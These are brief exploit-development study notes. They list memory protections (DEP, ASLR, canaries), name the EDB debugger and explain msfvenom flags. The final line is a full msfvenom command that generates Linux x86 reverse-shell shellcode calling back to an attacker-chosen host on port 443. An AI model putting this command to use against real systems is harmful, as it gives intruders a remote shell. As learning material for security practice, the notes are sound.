DEP, ASLR, Canaries
Protection mechanism
Use EDB as debugger.
Reverse Shell Code Generation
-b for bad chars
-f output format
-v for variable name to use
msfvenom -p linux/x86/shell_reverse_tcp LHOST=<ip> LPORT=443 -b "\x00\x20" -f py -v shellcode